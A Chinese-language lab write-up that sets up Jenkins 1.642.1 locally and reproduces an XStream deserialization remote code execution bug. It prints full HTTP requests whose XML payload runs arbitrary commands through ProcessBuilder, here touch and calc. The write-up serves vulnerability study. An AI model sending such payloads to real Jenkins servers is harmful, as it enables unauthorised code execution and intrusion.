环境搭建
首先需要安装jenkins,这里使用的是1.642.1
版本,其他版本可以自行下载,在官网和百度一开始都是没找到的,包括看了其他人的分析,但是都没有找到环境搭建,大部分是直接复现和poc分析
下载链接
http://archives.jenkins-ci.org/war-stable/1.642.1/jenkins.war
这里需要在本地配置java环境,具体方法这里不在介绍,我复现使用的是java8
java -jar jenkins.war --httpPort=8080
httpport可以自定义
之后访问
http://127.0.0.1:8080/
可以打开即为搭建成功
漏洞复现
使用burp发送数据包
POST /createItem?name=foo HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.135:8080/newJob
Cookie: JSESSIONID.51669330=2ma9elc96wwk16e4k07sq0ri9; screenResolution=1440x900
Connection: keep-alive
Content-Type: text/xml
Content-Length: 889
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/home/angelwhu/tmp/pwned</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</delegate>
<owner class="java.lang.ProcessBuilder" reference="../delegate"/>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>123</int>
</entry>
</map>
因为这里是使用本地的windows,所以修改一下command中间的参数
POST /createItem?name=foo HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.135:8080/newJob
Cookie: JSESSIONID.51669330=2ma9elc96wwk16e4k07sq0ri9; screenResolution=1440x900
Connection: keep-alive
Content-Type: text/xml
Content-Length: 889
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</delegate>
<owner class="java.lang.ProcessBuilder" reference="../delegate"/>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>123</int>
</entry>
</map>
成功弹出计算器
环境清理
使用命令java -jar jenkins.war --httpPort=8080
后会自动在用户目录下创建一个.jenkins
文件夹,大约占用c盘100m左右的空间,在使用完后可以对其进行删除
之后清理回收站,游戏GAI束。
参考文章
https://www.angelwhu.com/paper/2016/03/15/xstream-deserialization-component-attack-analysis/#0x04-Jenkins利用
https://www.jenkins.io/zh/doc/pipeline/tour/getting-started/